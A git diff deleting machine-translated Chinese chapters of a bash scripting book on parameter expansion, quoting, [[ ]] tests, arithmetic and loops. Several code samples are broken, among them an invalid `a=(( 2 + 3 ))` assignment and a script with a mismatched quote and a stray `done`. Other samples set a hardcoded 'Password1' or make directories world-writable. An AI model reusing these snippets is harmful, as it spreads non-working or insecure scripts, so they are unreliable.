通过这种方式,脚本变得更加健壮,而不需要复杂的脚本逻辑。 我们可以在下面的截图中看到正在使用的代码: - -![](img/9c04243c-1855-4723-b90a-44d825d28e77.png) - -这类缩写很常见,也很容易辨认。 如果缩写不能增加可读性,我们应该始终谨慎使用它们。 我们使用脚本的目的应该是编写清晰易懂的代码,并避免使用捷径,如果它们不能达到这个目的的话。 - -# 提供参数默认值 - -在 bash 参数中,内存中有一些命名空间,允许我们访问存储的值。 参数有两种类型: - -* 变量 -* 特殊的参数 - -# 变量 - -我们已经在[第 1 章](05.html)、*Bash 脚本的内容和原因*中描述了变量是什么以及如何定义它们。 - -刷新一下你的记忆,你可以通过给一个值赋值来定义一个变量,这个值带有等号,不带任何空格,像这样: - -```sh -#!/bin/bash -myvar=15 -myvar2="welcome" -``` - -这没什么新鲜的。 - -# 特殊的参数 - -特殊参数是第二种参数类型,由 shell 本身管理,并且表示为只读。 我们以前在参数(如`$0`)中遇到过这些,但是让我们来看看另一个`$-`。 我们可以通过使用`echo`命令展开这些参数以了解它们的用途: - -```sh -$ echo "My shell is $0 and the shell options are: $-" -``` - -从我添加的带注释的文本中,我们可以理解`$-`选项表示已配置的 shell 选项。 可以使用 set`-o`命令显示这些信息,但也可以使用`$-`以编程方式读取这些信息。 - -我们可以在下面的截图中看到这一点: - -![](img/b4b7bb52-bd42-4f29-acf6-01839cf6d812.png) - -此处设置的选项如下: - -* `h`:这是 hashall 的缩写; 它允许使用`PATH`参数找到程序 -* `i`:这表明这是一个交互式 shell -* `m`:是 monitor 的简称; 它允许使用`bg`和`fg`命令来将命令导入或退出后台 -* `B`:这允许支具展开或`mkdirdir{1,2}`,其中我们创建`dir1`和`dir2` -* `H`:这允许对正在运行的命令进行历史扩展,例如`!501`来重复历史上的命令 - -# 设置默认值 - -使用`test`命令或括号,我们可以为变量(包括命令行参数)提供默认值。 使用前面使用过的`hello4.sh`脚本,我们可以修改它,并在`name`参数为零字节时设置它: - -```sh -#!/bin/bash -name=$1 -[ -z $name ] && name="Anonymous" -echo "Hello $name" -exit 0 -``` - -这段代码是功能性的,但是我们可以选择如何使用默认值进行编码。 我们也可以直接给参数赋一个默认值。 考虑以下命令,其中直接进行默认赋值: - -```sh -name=${1-"Anonymous"} -``` - -在 bash 中,这被称为**参数替换**,可以写成以下伪代码: - -```sh -${parameter-default} -``` - -如果一个变量(`parameter`)没有被声明且为空值,那么将使用默认值。 如果参数显式地声明为空值,我们将使用`:-`语法,如下例所示: - -```sh -parameter= -${parameter:-default} -``` - -现在通过编辑脚本,我们可以创建`hello8.sh`来利用 bash 参数替换来提供默认值: - -```sh -#!/bin/bash -#Use parameter substitution to provide default value -name=${1-"Anonymous"} -echo "Hello $name" -exit 0 -``` - -这个脚本和它的输出,包括有和没有提供的值,如下截图所示: - -![](img/22032c85-3f5a-457b-bf7f-e7307cb9988e.png) - -`hello8.sh`脚本提供了我们需要的功能,并将逻辑直接构建到参数赋值中。 逻辑和赋值现在是脚本中的一行代码,这是保持脚本简单和保持可读性的主要步骤。 - -# 当有疑问时——引用! - -在确定变量是一种参数类型之后,我们应该始终牢记这一点,尤其是在阅读手册和*HOWTOs*时。 文档通常引用参数,在此过程中,它们包括变量以及 bash 特殊参数,如`$1`等等。 为了与此保持一致,我们将研究为什么在命令行或脚本中使用参数时推荐引用它们。 现在了解这一点可以为我们以后节省很多痛苦和心痛,尤其是当我们开始查看循环时。 - -首先,我们应该使用的读取变量值的正确术语是**参数展开**。 对你和我来说,这是读取一个变量,但要破坏它就太简单了。 正确名称的赋值(比如参数展开)减少了其含义的任何歧义,但同时增加了复杂性。 在下面的示例中,第一行命令将`fred`的值赋给`name`参数。 第二行命令使用参数展开从内存中打印存储的值。 符号`$`用于允许参数展开: - -```sh -$ name=fred -$ echo "The value is: $name" -``` - -在本例中,我们使用双引号允许`echo`打印单个字符串,因为我们使用了空格。 如果不使用引号,`echo`可能会将其视为多个参数,空格是大多数 shell(包括 bash)中的默认字段分隔符。 通常,当我们不想使用引号时,我们不会直接看到空格。 下面是我们之前使用的命令行代码的摘录: - -```sh -$ FILE=/etc/hosts -$ [ -f $FILE -a -r $FILE ] && cat $FILE -``` - -即使这样做成功了,我们也可能有点幸运,特别是如果我们从一个不是我们自己创建的文件列表填充`FILE`参数。 可以想象,文件的名称中可以有空格。 现在让我们使用一个不同的文件重播这个命令。 考虑以下命令: - -```sh -$ FILE="my file" -$ [ -f $FILE -a -r $FILE ] && cat $FILE -``` - -尽管在结构上没有对代码进行更改,但它现在失败了。 这是因为我们为`[`命令提供了太多的参数。 即使使用`test`命令,失败的结果也会相同。 - -尽管我们正确地用引号将文件名赋值给参数`FILE`,但是当参数被扩展时,我们并没有保护空格。 我们可以看到代码失败了,如下面的截图所示: - -![](img/93d92de0-8e42-4c20-99b3-575ecdcf2121.png) - -我们可以看到,这不会为我们的脚本做好准备。 唉,我们曾经认为强大的东西现在已经支离破碎,就像泰坦尼克号一样,我们的代码已经沉没了。 - -然而,一个简单的解决方案是恢复引用参数展开,除非特别不需要。 我们可以让这艘船不沉,只需对代码进行简单编辑: - -```sh -$ FILE="my file" -$ [ -f "$FILE" -a -r "$FILE" ] && cat "$FILE" -``` - -我们现在可以自豪地站在白星航运公司的码头上,因为我们看到下面的代码示例中泰坦尼克 2 号下水了,下面的截图捕捉到了它: - -![](img/c81415b8-5644-400f-8caf-8364adcd5986.png) - -这些小小的名言所能产生的影响实在是令人惊奇,有时甚至有点难以置信。 在展开变量时,我们永远不应该忽略引号。 为了确保深入了解这一点,我们可以在另一个更简单的例子中突出这一现象。 让我们以现在只想删除文件的场景为例。 在第一个例子中,我们没有使用引号: - -```sh -$ rm $FILE -``` - -这段代码将产生失败,因为参数扩展将导致以下感知命令: - -```sh -$ rm my file -``` - -代码将失败,因为它无法找到`my`文件或`file`文件。 更糟糕的是,如果可能意外解析任何名称,我们可能会删除不正确的文件。 然而,引用参数展开将会扭转乾坤,正如我们在第二个例子中看到的: - -```sh -$ rm "$FILE" -``` - -这被正确地扩展为我们在下面的命令示例中演示的所需命令: - -```sh -$ rm "my file" -``` - -我当然希望这些示例说明在扩展参数时需要小心,并使您意识到陷阱。 - -# 高级测试使用[[ - -使用双括号`[[ condition ]]`允许我们进行更高级的条件测试,但它与 Bourne shell 不兼容。 双括号最初是作为 KornShell 中定义的关键字引入的,在 bash 和 Zsh 中也可以使用。 与单括号不同,这不是命令而是关键字。 使用`type`命令可以确认这一点: - -```sh -$ type [[ -``` - -# 空白 - -`[[`不是命令这一事实对于空格来说是很重要的。 作为一个关键字,`[[`在 bash 展开参数之前解析它们。 因此,单个参数将始终表示为单个参数。 尽管它违背了最佳实践,但`[[`可以缓解与参数值中的空白相关的一些问题。 重新考虑前面测试的条件,我们可以在使用`[[`时省略引号,如下例所示: - -```sh -$ echo "The File Contents">"my file" -$ FILE="my file" -$ [[ -f $FILE && -r $FILE ]] && cat "$FILE" -``` - -如您所见,在使用`cat`时,我们仍然需要引用参数,我们可以在双括号内使用引号,但它们是可选的。 注意,我们还可以使用更传统的`&&`和`||`分别表示`-a`和`-o`。 - -# 其他高级功能 - -这些是我们可以用双括号包含的一些额外功能。 即使我们在使用它们时失去了可移植性,但仍有一些很棒的功能可以克服这种损失。 请记住,如果我们只使用 bash,那么我们可以使用双括号,但不能在 Bourne shell 中运行脚本。 我们获得的高级特性包括模式匹配和正则表达式,这些特性将在下面几节中介绍。 - -# 模式匹配 - -使用双括号,我们可以做的不仅仅是匹配字符串,我们还可以使用模式匹配。 例如,我们可能需要专门处理以`.pl`结尾的 Perl 脚本和文件。 通过包含模式作为匹配,我们可以在一个条件中轻松实现这一点,如下面的示例所示: - -```sh -$ [[ $FILE = *.pl ]] && cp"$FILE" scripts/ -``` - -# 正则表达式 - -我们将在[第 11 章](11.html)、*正则表达式*中深入讨论正则表达式,但是现在让我们稍微看一下。 - -我们可以使用正则表达式重写上一个例子: - -```sh -$ [[ $FILE =~ \.pl$ ]] && cp "$FILE" scripts/ -``` - -由于单个点或句点在正则表达式中具有特殊含义,我们需要使用`\`对其进行转义。 - -下面的屏幕截图显示了与一个名为`my.pl`的文件和另一个名为`my.apl`的文件匹配的正则表达式。 匹配正确地显示了以`.pl`结尾的文件: - -![](img/84268ff7-79fb-4aa0-8205-1edb1d9f5a3c.png) - -# 正则表达式的脚本 - -使用正则表达式进行条件测试的另一个简单演示是暴露*color*的美国和英国拼写,分别为*color*和*colour*。 我们可以提示用户,如果他们想要一个颜色或单一输出的脚本,但同时满足两种拼写。 在脚本中执行工作的行如下: - -```sh -if [[ $REPLY =~ colou?r ]] ; then -``` - -通过将`u`改为`u?`,正则表达式满足了*color*的两种拼写。 此外,通过设置 shell 选项,我们可以禁用区分大小写,允许*COLOR*和*COLOR*: - -```sh -shopt -s nocasematch -``` - -该选项可以在脚本结束时使用以下命令再次禁用: - -```sh -shopt -u nocasematch -``` - -当我们使用命名为`$GREEN`和`$RESET`的变量参数时,我们会影响输出的颜色。 绿色将只显示在我们获取颜色定义文件的地方。 这是在我们选择颜色显示时设置的。 选择 mono 将确保变量参数为空且不起作用。 - -完整的脚本如下截图所示: - -![](img/75571831-e4dd-4318-bd61-47d8dd661620.png) - -# 使用(()进行算术运算 - -在使用 bash 和其他一些高级 shell 时,我们可以使用`(( ))`符号来简化脚本中的数学操作。 - -# 简单的数学 - -bash 中的双括号结构允许算术展开。 以最简单的格式使用它,我们可以很容易地进行整数算术。 这将替代内置的`let`。 下面的例子展示了使用`let`命令和双括号来实现相同的结果: - -```sh -$ a=(( 2 + 3 )) -$ let a=2+3 -``` - -在这两种情况下,参数`a`都是用`2 + 3`的和填充的。 如果你想在 shell 脚本中写它,你需要在圆括号前添加一个美元符号: - -```sh -#!/bin/bash -echo $(( 2 + 3 )) -``` - -# 参数操作 - -也许在脚本中对我们更有用的是 c 风格的参数操作,我们可以使用双括号来包含它。 我们通常可以使用它在循环中增加一个计数器,也可以限制循环迭代的次数。 考虑以下命令: - -```sh -$ COUNT=1 -$ (( COUNT++ )) -echo $COUNT -``` - -在本例中,我们首先将`COUNT`设置为`1`,然后使用`++`操作符对其进行加 1。 当它在最后一行中被回显时,该参数的值为`2`。 我们可以在下面的截图中看到结果: - -![](img/7cf03547-dc20-44b4-8601-79f0c49c00ec.png) - -我们可以通过使用下面的语法来实现同样的结果: - -```sh -$ COUNT=1 -$ (( COUNT=COUNT+1 )) -echo $COUNT -``` - -当然,这允许`COUNT`参数的任意增加,而不仅仅是单个单位的增加。 类似地,我们可以使用`--`操作符进行倒计时,如下例所示: - -```sh -$ COUNT=10 -$ (( COUNT-- )) -echo $COUNT -``` - -我们开始使用一个值`10`,在双括号中减去`1`。 - -注意,我们没有使用`$`展开圆括号中的参数。 它们用于参数操作,因此,我们不需要显式地展开参数。 - -# 标准算术测试 - -我们可以从这些双括号中获得的另一个好处是测试。 与其使用`-gt`表示大于,我们可以简单地使用`>`。 我们可以在下面的代码中演示: - -```sh -$(( COUNT > 1 )) && echo "Count is greater than 1" -``` - -下面的截图演示了这一点: - -![](img/65fa7cb8-2ece-45dd-abaf-9d71392808d6.png) - -正是这种标准化,在 c 风格的操作和测试中,使得双括号对我们如此有用。 这种用法扩展到命令行和脚本。 在研究循环结构时,我们将广泛地使用这个特性。 - -# 总结 - -在这一章里,我真的希望我们已经向你们介绍了许多新的和有趣的选择。 在这个领域,我们首先回顾了`test`的使用,发现`[`是一个命令,而不是一个语法结构。 这是一个命令的主要影响是空白,我们看到了引用变量的需要。 - -尽管我们通常称变量为变量,但我们也看到了它们的正确名称,尤其是在文档中,是参数。 读取变量是一个参数展开。 理解参数展开可以帮助我们理解关键词`[[`的使用。 双方括号不是命令,也不展开参数。 这意味着我们不需要引用变量,即使它们包含空格。 此外,我们还可以使用带有双方括号的高级测试,例如模式匹配或正则表达式。 - -最后,我们看了算术展开和使用双括号符号的参数操作。 它提供的最大特性是可以轻松地增加和减少计数器。 - -在下一章中,我们将继续讨论 bash 中的循环结构,并利用本章中新发现的一些技能。 - -# 问题 - -1. 如何使用 shell 脚本从 25 中减去 8 ? -2. 下面的代码有什么问题? 你怎么能解决它呢? - -```sh -$ rm my file -``` - -3. 下面的代码有什么问题? - -```sh -#!/bin/bash -a=(( 8 + 4 )) -echo $a -``` - -# 进一步的阅读 - -请参阅以下有关本章的资料: - -* [http://tldp.org/LDP/abs/html/arithexp.html](http://tldp.org/LDP/abs/html/arithexp.html) -* [http://wiki.bash-hackers.org/commands/classictest](http://wiki.bash-hackers.org/commands/classictest) \ No newline at end of file diff --git a/docs/master-linux-shell-script/06.md b/docs/master-linux-shell-script/06.md deleted file mode 100644 index 5068b32e..00000000 --- a/docs/master-linux-shell-script/06.md +++ /dev/null @@ -1,536 +0,0 @@ -# 六、迭代和循环 - -现在我们可以执行算术运算和测试,并且我们的脚本有了更多的控制。 有时,您会发现需要重复执行一些任务,例如查看日志文件条目并执行一个操作,或者可能持续运行一段代码。 我们是忙碌的人,有比重复 100 次或更多的任务更重要的事情要做; 循环是我们的朋友。 - -循环结构是脚本的命脉。 这些循环是主要的引擎,可以多次迭代,可靠而一致地重复相同的任务。 假设在一个 CSV 文件中有 100,000 行文本,必须检查是否有不正确的条目。 一旦开发完成,脚本可以轻松且准确地完成这一任务,但对于人来说,可靠性因素和准确性将很快失效。 - -因此,让我们看看如何通过在本章中涵盖以下主题来节省时间和理智: - -* `for`循环 -* 高级`for`循环 -* 内部字段分隔符(IFS) -* 计算目录和文件 -* c 风格的 for 循环 -* 嵌套循环 -* 重定向循环输出 -* `while`循环和`until`循环 -* 从文件中读取输入 -* 创建操作菜单 - -# 技术要求 - -本章的源代码可以从这里下载: - -[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter06](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter06) - -# for 循环 - -我们所有的循环控制都很简单,我们将从`for`循环开始。 单词`for`在 bash 中是一个关键字,就其工作原理而言,它与`if`类似。 我们可以使用命令类型来验证这一点,如下面的示例所示: - -```sh -$ type for for is a shell keyword -``` - -作为一个保留的 shell 关键字,我们可以在脚本中或直接在命令行中使用`for`循环。 通过这种方式,我们可以在脚本内部或外部使用循环,从而优化命令行的使用。 下面的示例代码显示了一个简单的`for`循环: - -```sh -# for u in bob joe ; do -useradd $u -echo '$u:Password1' | chpasswd #pipe the created user to chpasswd -passwd -e $u -done -``` - -`useradd`命令用于创建用户,`chpasswd`命令用于批量更新密码。 - -在`for`循环中,我们从右边的列表中读取数据,填充左边的变量参数; 在本例中,我们将从包含`bob`和`joe`的列表中读入参数变量`u`。 将列表中的每一项插入到变量中,每次一项。 这样,只要列表中有要处理的项,循环就会执行,直到列表耗尽为止。 - -实际上,对我们来说,这个循环的执行意味着我们将执行以下操作: - -1. 创建用户`bob` -2. 设置`bob`的密码 -3. 使密码过期,这样用户`bob`第一次登录时需要重置密码 - -然后我们返回并对用户`joe`重复该过程。 - -我们可以在下面的截图中查看前面的例子。 在通过`sudo -i`获得根访问权之后,我们继续运行循环并创建用户: - -![](img/ee837095-5d9f-436e-85d1-0df82a9a547b.png) - -在`for`循环中读取的列表可以动态生成,也可以静态生成,如前面的示例所示。 要创建动态列表,我们可以使用各种通配符技术来填充列表。 例如,要处理一个目录中的所有文件,我们可以使用`*`,如下例所示: - -```sh -for f in * ; do -stat "$f" -done -``` - -When a list is generated, such as with file globbing, we should quote the expansion of the variable parameter. Without the quotes, it is possible that a space will be included that will cause the command to fail. This is what we have seen here in the `stat` command. - -在下面的例子中,我们分离以`ba*`开头的文件名。 然后使用`stat`命令打印 inode 元数据。 代码和输出如下截图所示: - -![](img/abe83602-8fa0-4d8f-a709-21f360982abf.jpg) - -这个列表也可以由另一个命令或命令管道的输出生成。 例如,如果我们需要打印所有登录用户的当前工作目录,我们可以尝试类似如下的方法: - -```sh -$ for user in $(who | cut -f1 -d" ") ; do -lsof -u "$user" -a -c bash | grep cwd -done -``` - -在前面的例子中,我们可以看到参数名称的选择取决于我们; 我们不限于单个字符,在本例中我们可以使用`$user`名称。 通过使用小写字母,我们将不会覆盖系统变量`$USER`。 下面的截图演示了循环和随后的输出: - -![](img/dc3f2493-936b-4b21-b28b-c51e60b06d45.png) - -`lsof`命令将列出打开的文件; 我们可以用`bash`命令作为当前工作目录,依次搜索每个用户打开的文件。 - -使用到目前为止创建的脚本,我们可以创建一个名为`hello9.sh`的新脚本。 如果我们将`$HOME/bin/hello2.sh`脚本复制到新脚本中,我们可以编辑它以使用`for`循环: - -```sh -#!/bin/bash -echo "You are using $(basename $0)" -for n in $* -do - echo "Hello $n" -done -exit 0 -``` - -循环用于遍历提供的每个命令行参数并逐个问候每个用户。 当我们执行脚本时,我们可以看到我们现在可以为每个用户显示`Hello`消息。 如下截图所示: - -![](img/d44e8d04-45ea-4fca-96d0-4e23e1390513.png) - -虽然我们在这里看到的仍然是相对琐碎的,但是我们现在应该认识到我们可以用脚本和循环做些什么。 这个脚本的参数可以是我们已经使用过的用户名或其他任何东西。 如果我们坚持使用用户名,那么就会很容易创建用户帐户和设置密码,就像我们前面看到的那样。 - -# 先进的循环 - -在前面的示例中,我们使用`for`循环遍历简单值,其中每个值都没有空格。 - -如你所知,如果你的值包含一个空格,你应该使用双引号: - -```sh -#!/bin/bash -for var in one "This is two" "Now three" "We'll check four" -do -echo "Value: $var" -done -``` - -![](img/8001ef9d-760d-43c8-aa6a-e8796da1bcc2.png) - -如您所见,由于双引号,每个值都按预期打印。 - -这个例子包含一行值,我们引用这些值,因为它们有空格和逗号。 如果值在多个行上,比如在一个文件中,会怎样? - -如果我们要迭代的值之间的分隔符不是逗号或分号等空格,该怎么办? - -IFS 来了。 - -# IFS - -默认情况下,IFS 变量的值为(空格、换行符或制表符)之一。 - -假设你有一个像下面这样的文件,你想迭代它的行: - -```sh -Hello, this is a test -This is the second line -And this is the last line -``` - -让我们编写遍历这些行的`for`循环: - -```sh -#!/bin/bash -file="file1.txt" -for var in $(cat $file) -do -echo " $var" -done -``` - -如果你检查结果,它是我们不需要的: - -![](img/bcbd11c3-188d-4dc7-97da-4bfaf9629138.png) - -由于 shell 找到的第一个分隔符是空格,因此 shell 将每个单词视为一个字段,但我们需要将每个行打印为一个字段。 - -这里我们需要将 IFS 变量改为换行符。 - -让我们修改我们的脚本,以正确地遍历行: - -```sh -#!/bin/bash -file="file1.txt" -IFS=$'\n' #Here we change the default IFS to be a newline -for var in $(cat $file) -do -echo " $var" -done -``` - -![](img/35a6ba72-aa82-42b5-9213-5fc8b6a2f302.png) - -我们将 IFS 变量更改为 newline,它如预期那样工作。 - -查看上一节`IFS=$"\n"`中 IFS 定义中的美元符号。 默认情况下,bash 不解释诸如`\r`、`\n`和`\t`等转义字符。 因此,在我们的示例中,它将被视为一个`n`字符,因此要解释转义字符,必须在它之前使用一个美元符号(`$`),才能使它正常工作。 - -但是如果你的 IFS 是一个正常的字符,你根本不需要使用美元符号(`$`)。 - -# 计算目录和文件 - -我们可以使用简单的`for`循环遍历文件夹内容,并使用`if`语句检查路径是目录还是文件: - -```sh -#!/bin/bash -for path in /home/likegeeks/* -do - if [ -d "$path" ] - then - echo "$path is a directory" - elif [ -f "$path" ] - then - echo "$path is a file" - fi -done -``` - -![](img/812eacd0-590e-4c82-aea1-ff797f45ea55.png) - -这是非常简单的脚本。 我们遍历目录内容,然后使用`if`语句检查路径是目录还是文件。 最后,在每个路径旁边打印它是文件还是目录。 - -We used quotes for the path variable because the file could contain a space. - -# c 风格的 for 循环 - -如果你有 C 语言背景,你会很高兴知道你可以用 C 风格编写你的`for`循环。 这个特性来自 KornShell。 shell`for`循环可以这样写: - -```sh -for (v= 0; v < 5; v++) -{ - printf(Value is %d\n", v); -} -``` - -C 开发人员很容易在`for`循环中使用此语法。 - -看看这个例子: - -```sh -#!/bin/bash -for (( v=1; v <= 10; v++ )) -do - echo "value is $v" -done -``` - -选择权在你; 您有很多用于`for`循环的语法样式。 - -# 嵌套循环 - -嵌套循环是指循环内部循环。 看看下面的例子: - -```sh -#!/bin/bash -for (( v1 = 1; v1 <= 3; v1++ )) -do - echo "First loop $v1:" - for (( v2 = 1; v2 <= 3; v2++ )) - do - echo " Second loop: $v2" - done -done -``` - -![](img/16709454-c84c-41f8-8c8a-99ed1cea62f3.png) - -首先是第一个循环,然后是第二个循环,这发生了三次。 - -# 重定向循环输出 - -您可以使用`done`命令将循环输出重定向到一个文件: - -```sh -#!/bin/bash -for (( v1 = 1; v1 <= 5; v1++ )) -do - echo "$v1" -done > file -``` - -如果没有文件,它将被创建并填充循环输出。 - -当您不需要在屏幕上显示循环输出并将其保存到文件中时,这种重定向很有帮助。 - -# 控制回路 - -进入循环后,我们可能需要提前退出循环,或者从处理中排除某些项。 如果我们只想处理列表中的目录,而不是任何类型的每个文件,那么要实现这一点,我们需要使用循环控制关键字,例如`break`和`continue`。 - -`break`关键字用于退出循环,不再处理更多的条目,而`continue`关键字用于停止循环中当前条目的处理,并继续处理下一个条目。 - -假设我们只想处理目录,我们可以在循环中实现一个测试并确定文件类型: - -```sh -$ for f in * ; do -[ -d "$f" ] || continue -chmod 3777 "$f" -done -``` - -在循环中,我们希望设置权限,包括 SGID 和 sticky 位,但只针对目录。 `*`搜索将返回所有文件; 循环中的第一条语句将确保只处理目录。 如果对当前循环执行了测试,则目标在测试中失败且不是目录; 关键字`continue`检索下一个循环列表项。 如果`test`返回`true`并且我们正在处理一个目录,那么我们将处理后续语句并执行`chmod`命令。 - -如果我们需要运行循环,直到找到一个目录,然后退出循环,我们可以调整代码,以便遍历每个文件。 如果文件是一个目录,那么我们使用`break`关键字退出循环: - -```sh -$ for f in * ; do -[ -d "$f" ] && break -done -echo "We have found a directory $f" -``` - -在下面的截图中,我们可以看到代码在运行: - -![](img/ac021128-1378-420d-b66d-4ee42b77ad14.png) - -通过使用相同的主题,我们可以使用以下代码打印清单中找到的每个目录: - -```sh -for f in * ; do -[ -d "$f" ] || continue -dir_name="$dir_name $f" -done -echo "$dir_name" -``` - -只有当循环项是一个目录并且在循环中,我们才能通过处理循环项来实现结果。 我们只能使用`if`测试来处理常规文件。 在本例中,我们将目录名附加到`dir_name`变量。 一旦退出循环,就打印出完整的目录列表。 我们可以在下面的截图中看到这一点: - -![](img/cd0b1ce9-b6da-4e7d-9773-cc2720df8887.png) - -通过使用这些示例和您自己的想法,您现在应该能够了解如何使用`continue`和`break`关键字控制循环。 - -# While 循环和 until 循环 - -当使用`for`循环时,我们遍历一个列表; 它要么是我们创建的要么是动态生成的。 使用`while`或`until`循环,根据条件变为`true`或`false`的事实进行循环。 - -当条件为真时,`while`循环循环,相反,当条件为假时,`until`循环循环。 下面的命令将从 10 一直计数到 0,每次循环打印变量,然后将值减少 1: - -```sh -$ COUNT=10 -$ while (( COUNT >= 0 )) ; do -echo -e "$COUNT \c" -(( COUNT-- )) -done ; echo -``` - -我们可以在下面的截图中看到这个命令的输出,从而确认倒计时为零: - -![](img/5a3bdb9b-ca07-42d1-9b91-88bc9fa97de0.png) - -The use of the `\c` escape sequence used here allows the suppression of the line feed normally used with `echo`. In this way, we can keep the countdown on the single line of output. I think you will agree that it's a nice effect. - -该循环的功能可以使用`until`循环获得; 我们需要快速地重新考虑一下逻辑,因为我们想要循环直到条件变为真为止。 一般来说,这是一个个人的选择和逻辑工作的方式最适合您使用哪个循环。 下面的例子展示了使用`until`循环编写的循环: - -```sh -$ COUNT=10 -$ until (( COUNT < 0 )) ; do -echo -e "$COUNT \c" -(( COUNT-- )) -done ; echo -``` - -# 从文件中读取输入 - -现在,似乎这些循环可以做的不仅仅是数字倒数。 我们可能希望从文本文件中读取数据并处理每一行。 我们在本书前面看到的 shell 内置`read`命令可以用来逐行读取文件。 这样,我们就可以使用循环来处理文件中的每一行。 - -为了演示其中的一些功能,我们将使用一个包含服务器地址的文件。 这些可能是主机名或 IP 地址。 在下面的例子中,我们将使用谷歌 DNS 服务器的 IP 地址。 以下命令显示了`servers.txt`文件的内容: - -```sh -$ cat servers.txt -8.8.8.8 -8.8.4.4 -``` - -在`while`循环的条件下使用`read`命令,只要我们有更多的行要从文件中读取,我们就可以循环。 我们直接在`done`关键字之后指定输入文件。 对于从文件中读取的每一行,我们都可以使用`ping`命令测试服务器是否正常工作,如果服务器正在响应,我们将其附加到可用服务器列表中。 这个列表在循环关闭时被打印出来。 在下面的例子中,我们可以看到我们开始加入了本书中提到的所有脚本元素: - -```sh -$ while read server ; do -ping -c1 $server && servers_up="$servers_up $server" -done < servers.txt -echo "The following servers are up: $servers_up" -``` - -我们可以在下面的截图中验证这个操作,它捕获了输出: - -![](img/224a988c-ebdd-47c4-9855-3dff9e6b286c.png) - -使用这种循环,我们可以开始构建非常实用的脚本来处理来自命令行或脚本的信息。 用`$1`替换我们读取的文件名将非常容易,`$1`表示传递到脚本中的位置参数。 让我们返回到`ping_server.sh`脚本并调整它以接受输入参数。 我们可以将脚本复制到新的`$HOME/bin/ping_server_from_file.sh`文件中。 在脚本中,我们首先测试输入参数是否是一个文件。 然后,我们创建一个输出文件,其中包含一个包含日期的平铺。 当我们进入循环时,我们将可用的服务器追加到这个文件中,并在脚本的末尾列出该文件: - -```sh -#!/bin/bash -# Author: @theurbanpenguin -# Web: www.theurbapenguin.com -# Script to ping servers from file -# Last Edited: August 2015 -if [ ! -f"$1 ] ; then - echo "The input to $0 should be a filename" - exit 1 -fi -echo "The following servers are up on $(date +%x)"> server.out -done -while read server -do - ping -c1 "$server"&& echo "Server up: $server">> server.out -done -cat server.out -``` - -现在我们可以按照以下方式执行脚本: - -```sh -$ ping_server_from_file.sh servers.txt -``` - -脚本执行的输出应该类似如下截图: - -![](img/b989b3bb-08da-48f6-9eaf-4a64c07ca5d2.png) - -# 创建操作菜单 - -我们可以为 Linux 操作人员提供一个菜单,这些操作人员需要 shell 提供有限的功能,并且不想了解命令行使用的细节。 我们可以使用他们的登录脚本为他们启动一个菜单。 该菜单将提供一个可供选择的命令列表。 该菜单将循环,直到用户选择退出该菜单。 我们可以创建一个新的`$HOME/bin/menu.sh`脚本; 菜单循环的基础如下: - -```sh -while true -do -...... -done -``` - -我们在这里创建的循环是无限的。 `true`命令总是返回 true 并连续循环; 但是,我们可以提供一个循环控制机制来允许用户离开菜单。 为了开始构建菜单的结构,我们需要在循环中回显一些文本,询问用户选择的命令。 我们将在每次加载菜单之前清除屏幕,并且在执行所需的命令后将出现一个额外的阅读提示。 - -这允许用户在清除屏幕和重新加载菜单之前从命令中读取输出。 这个脚本在这个阶段看起来像下面的代码: - -```sh -#!/bin/bash -# Author: @theurbanpenguin -# Web: www.theurbapenguin.com -# Sample menu -# Last Edited: August 2015 - -while true -do - clear - echo "Choose an item: a,b or c" - echo "a: Backup" - echo "b: Display Calendar" - echo "c: Exit" - read -sn1 - read -n1 -p "Press any key to continue" -done -``` - -如果在这个阶段执行脚本,将没有离开脚本的机制。 我们没有向菜单选择添加任何代码; 但是,您可以测试功能并使用*Ctrl*+*C*键退出。 - -在这个阶段,菜单应该类似如下截图所示的输出: - -![](img/eb4a5ad4-33a0-4f23-8332-ba769cc4fda6.png) - -要构建菜单选择背后的代码,我们将实现一个`case`语句。 这将添加到两个`read`命令之间,如下所示: - -```sh -read -sn1 - case "$REPLY" in - a) tar -czvf $HOME/backup.tgz ${HOME}/bin;; - b) cal;; - c) exit 0;; - esac - read -n1 -p "Press any key to continue" -``` - -我们可以看到添加到`case`、`a`、`b`和`c`语句中的三个选项: - -* 选项`a`:运行`tar`命令来备份脚本 -* 选项`b`:运行`cal`命令显示当前月份 -* 选项`c`:退出脚本 - -为了确保用户在退出登录脚本时注销,我们将运行以下命令: - -```sh -exec menu.sh -``` - -`exec`命令用于确保`menu.sh`文件完成后,shell 仍然存在。 这样,用户就不需要体验 Linux shell 了。 完整的脚本如下截图所示: - -![](img/a7c72855-f753-4ef5-8d5b-c952af292bfe.png) - -# 总结 - -我们已经开始在本章内取得进展。 我们已经能够将以前使用过的许多元素加入到内聚性和功能性脚本中。 虽然本章的重点是循环,但我们使用了命令行列表、`if`语句、`case`语句和算术计算。 - -本章一开始,我们描述了循环作为我们脚本的主力,并且我们已经能够通过`for`、`while`和`until`循环来演示这一点。 `for`循环用于遍历列表中的元素。 列表可以是静态的,也可以是动态的; 通过对动态列表的强调,我们展示了如何简单地通过文件通配符或命令展开来创建这些列表。 - -此外,我们还了解了如何遍历复杂的值,以及如何设置 IFS 以正确地遍历字段。 - -我们学习了如何编写嵌套循环以及如何将循环输出重定向到文件。 - -`while`和`until`循环是由条件控制的。 当提供的条件为真时,`while`循环将循环。 `until`循环将一直循环,直到所提供的条件返回 true 或当它返回 false 为止。 `continue`和`break`关键字是特定于循环的,并且将它们与`exit`一起使用,我们可以控制循环流。 - -在下一章中,我们将看到使用函数模块化脚本。 - -# 问题 - -1. 下面的脚本将在屏幕上打印多少行? - -```sh -#!/bin/bash -for (( v1 = 12; v1 <= 34; v1++ )) -do -echo "$v1" -done > output -``` - -2. 下面的脚本将在屏幕上打印多少行? - -```sh -#!/bin/bash -for (( v=8; v <= 12; v++ )) -do -if [ $v -ge 12 ] -then -break -fi -echo "$v" -done -``` - -3. 下面的脚本有什么问题? 你怎么能解决它呢? - -```sh -#!/bin/bash -for (( v=1, v <= 10, v++ )) -do -echo "value is $v" -done -``` - -4. 下面的脚本将在屏幕上打印多少行? - -```sh -#!/bin/bash -count=10 -while (( count >= 0 )) ; do -echo $count -done -$((count--)) -exit 0 -``` - -# 进一步的阅读 - -请参阅以下有关本章的资料: - -* [http://tldp.org/LDP/abs/html/internalvariables.html](http://tldp.org/LDP/abs/html/internalvariables.html) -* 